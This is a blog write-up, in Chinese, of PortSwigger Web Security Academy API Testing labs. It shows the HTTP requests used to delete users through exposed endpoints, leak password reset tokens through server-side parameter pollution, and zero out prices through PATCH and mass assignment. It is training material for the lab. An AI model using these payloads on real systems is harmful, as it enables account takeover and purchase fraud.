Burp Web Academy API Testing

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的 API Testing。

0x02. API Testing

2.1 Lab: Exploiting an API endpoint using documentation

To solve the lab, find the exposed API documentation and delete carlos. You can log in to your own account using the following credentials: wiener:peter.

登陆后,在个人页面发现了如下代码:

1
2
3
4
5
6
7
<form class='login-form' name='email-change-form' onsubmit='changeEmail(this, event)' action='/api/user'>
<label>Email</label>
<input required type='email' name='email' value=''>
<input required type='hidden' name='username' value='wiener'>
<button class='button' type='submit'> Update email </button>
</form>
<script src='/resources/js/api/changeEmail.js' type='application/javascript'></script>

有两个路径值得注意:

  • /api/user
  • /resources/js/api/changeEmail.js

此外,在 /resources/js/api/changeEmail.jschangeEmail 的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const changeEmail = (form, e) => {
e.preventDefault();

const formData = new FormData(form);
const username = formData.get('username');
const email = formData.get('email');

fetch(
`${form.action}/${encodeURIComponent(username)}`,
{
method: 'PATCH',
body: JSON.stringify({ 'email': email })
}
)
.then(res => res.json())
.then(handleResponse(displayErrorMessage(form)));
};

访问 /api/user/wiener,返回如下信息:

1
{"username":"wiener","email":"wiener@normal-user.net"}

访问 /api/user,返回如下信息:

1
{"error":"Malformed URL: expecting an identifier"}

访问 /api,返回如下信息:

Verb Endpoint Parameters Response
GET /user/[username: String] { } 200 OK, User
DELETE /user/[username: String] { } 200 OK, Result
PATCH /user/[username: String] {“email”: String} 200 OK, User

所以,可以构造如下请求删除用户:

1
DELETE /api/user/carlos HTTP/2

返回信息:

1
2
3
4
5
6
7
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 25

{"status":"User deleted"}

2.2 Lab: Exploiting server-side parameter pollution in a query string

To solve the lab, log in as the administrator and delete carlos.

登陆页面点击找回密码,发现加载了 /static/js/forgotPassword.js,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});

这里支持一个名为 reset-token 的参数,如果检测到,则重定向时将参数名修改为 reset_token,注意二者的区别。题目提示服务端参数污染,需要测试一下这个参数的行为。实际上,经过测试并没有什么有用的线索。

尝试提交用户名找回密码,POST 请求发送如下参数:

1
csrf=G3cTq9CZ9OqRuvsGC8A4NAY4aGYjxl0H&username=administrator

测试:

  • username=xxx 返回 Invalid username.
  • username=administrator&test=666 正常返回
  • username=administrator%26test=666 返回 Parameter is not supported.
    • 这里 %26&,说明 test 也被后端处理了
  • username=administrator# 返回 Field not specified.
    • 这里 # 把后续参数屏蔽了(URL 中的 #),提示缺少 Field
  • username=administrator%26field=666 返回 Invalid field.
    • 确实存在 field 字段,但是值还不确定,可以使用 Burp Intruder 进行爆破
    • 在 Burp Intruder 中,Payload Options 选择 Add from list ...,添加 Server-side variable names 参数列表

Burp Intruder 添加 Server-side variable names 参数列表

发现 emailusername 都是有效的 field 字段值:

1
2
3
4
5
csrf=G3cTq9CZ9OqRuvsGC8A4NAY4aGYjxl0H&username=administrator%26field=email
{"result":"*****@normal-user.net","type":"email"}

csrf=G3cTq9CZ9OqRuvsGC8A4NAY4aGYjxl0H&username=administrator%26field=username
{"result":"administrator","type":"username"}

回到最前面,尝试使用 field=reset_token,结果如下:

1
2
csrf=G3cTq9CZ9OqRuvsGC8A4NAY4aGYjxl0H&username=administrator%26field=reset_token
{"result":"mmtpmp8636ufyj56veoc1q4oqvmzuaki","type":"reset_token"}

拿到了重置密码的 Token,直接重置 administrator 的密码,随后删除 carlos 用户即可。

2.3 Lab: Finding and exploiting an unused API endpoint

To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

进入商品页面,会请求 /resources/js/api/productPrice.js,关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const loadPricing = (productId) => {
const url = new URL(location);
fetch(`//${url.host}/api/products/${encodeURIComponent(productId)}/price`)
.then(res => res.json())
.then(handleResponse(getAddToCartForm()));
};

window.onload = () => {
const url = new URL(location);
const productId = url.searchParams.get('productId');
if (url.pathname.startsWith("/product") && productId != null) {
loadPricing(productId);
}
};

进一步请求 /api/products/1/price,返回价格信息:

1
2
3
GET /api/products/1/price HTTP/2

{"price":"$1337.00","message":"I heard your neighbor Sally bought one of these! Don't feel left out!"}

根据题目的提示,可能需要更改 HTTP Method,那么先看看 HTTP Method 都有哪些?

Method Safe Idempotent Cacheable
GET Yes Yes Yes
HEAD Yes Yes Yes
OPTIONS Yes Yes No
TRACE Yes Yes No
PUT No Yes No
DELETE No Yes No
POST No No Conditional
PATCH No No Conditional
CONNECT No No No

经测试,发现除了 PATCH 返回 Unauthorized 之外,其他方法均返回 Method Not Allowed

登录账号后,再次测试 PATCH,提示:

1
{"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"}

说明需要发送数据过去,改成如下请求:

1
2
3
4
5
6
7
PATCH /api/products/1/price HTTP/2
Host: 0a8e00750485ac3a81cdfd8d0034009d.web-security-academy.net
Cookie: session=X3f9vxYJvTPXb7ViZkQQyhoqxPteNf6H
Content-Type: application/json
Content-Length: 13

{"price":0}

返回:

1
2
3
4
5
6
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{"price":"$0.00"}

刷新商品页面,价格已经是 0,此时购买商品即可。如果购物车里有原价商品,需要先清空购物车。

2.4 Lab: Exploiting a mass assignment vulnerability

To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter.

登陆后,加购物车,提交订单,发送如下请求:

1
2
3
4
5
6
7
POST /api/checkout HTTP/2
Host: 0aed0071042eed9b81c4a80f002a00c9.web-security-academy.net
Cookie: session=Pr14FxxcsmHH3tPKZ4xdqB3BjXUsJIb5
Content-Length: 53
Content-Type: text/plain;charset=UTF-8

{"chosen_products":[{"product_id":"1","quantity":1}]}

购物车页面也会触发请求 GET /api/checkout HTTP/2,响应如下:

1
2
3
4
5
6
7
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153

{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}

尝试触发如下请求:

1
2
3
4
5
6
7
POST /api/checkout HTTP/2
Host: 0aed0071042eed9b81c4a80f002a00c9.web-security-academy.net
Cookie: session=Pr14FxxcsmHH3tPKZ4xdqB3BjXUsJIb5
Content-Length: 90
Content-Type: text/plain;charset=UTF-8

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","quantity":1}]}

直接就 OK 了。所谓 Mass Assignment,不过是自行增加一些隐藏的参数。

2.5 Lab: Exploiting server-side parameter pollution in a REST URL

To solve the lab, log in as the administrator and delete carlos.

尝试找回密码,发现 API /forgot-password,而且 username 字段可以路径穿越,比如:

1
2
3
4
5
6
7
POST /forgot-password HTTP/2
Host: 0ada00c203191330813b5256002200de.web-security-academy.net
Cookie: session=Jw9VlFmbZMM1g86rpWaIyvuikFI91zyX
Content-Length: 70
Content-Type: x-www-form-urlencoded

csrf=TDevXKgRujKyZpapYuS3ouqSUXhR8TJb&username=administrator/../carlos

返回如下请求(carlos 的信息):

1
2
3
4
5
6
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 53

{"result":"******@carlos-montoya.net","type":"email"}

当然,这个路径穿越使用 Burp Scanner 也可以快速扫出来。

进一步测试,发现 username=../users/administrator 也可以,说明上一级目录是 users

通过请求 username=../../v1/users/administrator,可以确认再上一级目录是 v1。实际上,v2 也是存在的。

而测试 username=../../../.. 时,开始返回 Not Found

测试 &username=../../../../openapi.json%23,返回如下信息:

1
2
3
{
"error": "Unexpected response from API server:\n{\n \"openapi\": \"3.0.0\",\n \"info\": {\n \"title\": \"User API\",\n \"version\": \"2.0.0\"\n },\n \"paths\": {\n \"/api/internal/v1/users/{username}/field/{field}\": {\n \"get\": {\n \"tags\": [\n \"users\"\n ],\n \"summary\": \"Find user by username\",\n \"description\": \"API Version 1\",\n \"parameters\": [\n {\n \"name\": \"username\",\n \"in\": \"path\",\n \"description\": \"Username\",\n \"required\": true,\n \"schema\": {\n ..."
}

原来 API 路径是 /api/internal/v1/users/{username}/field/{field}

请求 username=administrator/field/reset-token%23,提示:

1
2
3
4
{
"type": "error",
"result": "This version of API only supports the email field for security reasons"
}

之后测试到 username=../../v1/users/administrator/field/passwordResetToken%23,得到 Token 如下:

1
2
3
4
{
"type": "passwordResetToken",
"result": "3wux5qfa2tgzxyx6sp6zqp9c8cucjgah"
}

reset-tokenpasswordResetToken 来自 /static/js/forgotPassword.js,关键代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
forgotPwdReady(() => {
const queryString = window.location.search;https://apisix.apache.org/zh/blog/2023/02/08/what-is-restful-api/
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});

访问 /forgot-password?passwordResetToken=3wux5qfa2tgzxyx6sp6zqp9c8cucjgah 重置管理员密码即可。

0x03. 小结

  • API 路径回溯访问
    • 比如从 /api/user/carlos 一步一步回退到 /api
  • 服务器在拿到 URL 参数时,可能会和其他参数进行拼接操作,再转发给后端服务器进一步处理
    • 这里可能存在参数注入问题
  • HTTP Method
  • 理解 Mass Assignment Vulnerability(自行增加一些隐藏的参数)
  • Burp Scanner 使用方法
  • 常见 API 路径,以及 API 文档名称
    • /api/internal/v1/users/{username}/field/{field}
    • openapi.json

0x04. RESTful API

关于 RESTful API,网上有很多介绍,这里不再赘述。前面的题目中,有两个是关于 Server-side Parameter Pollution(服务端参数污染)的,因为后端可能涉及到 URL 重写和转发,所以还是可以理解的。就和 HTTP 请求走私 一样,现代 Web 架构中,服务端可能存在多个不同的组件或节点,就会涉及到请求的转发、重写等操作。

RESTful API 网关架构

0x05. 参考文档

  1. https://portswigger.net/web-security/all-labs#api-testing
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods
  3. https://apisix.apache.org/zh/blog/2023/02/08/what-is-restful-api/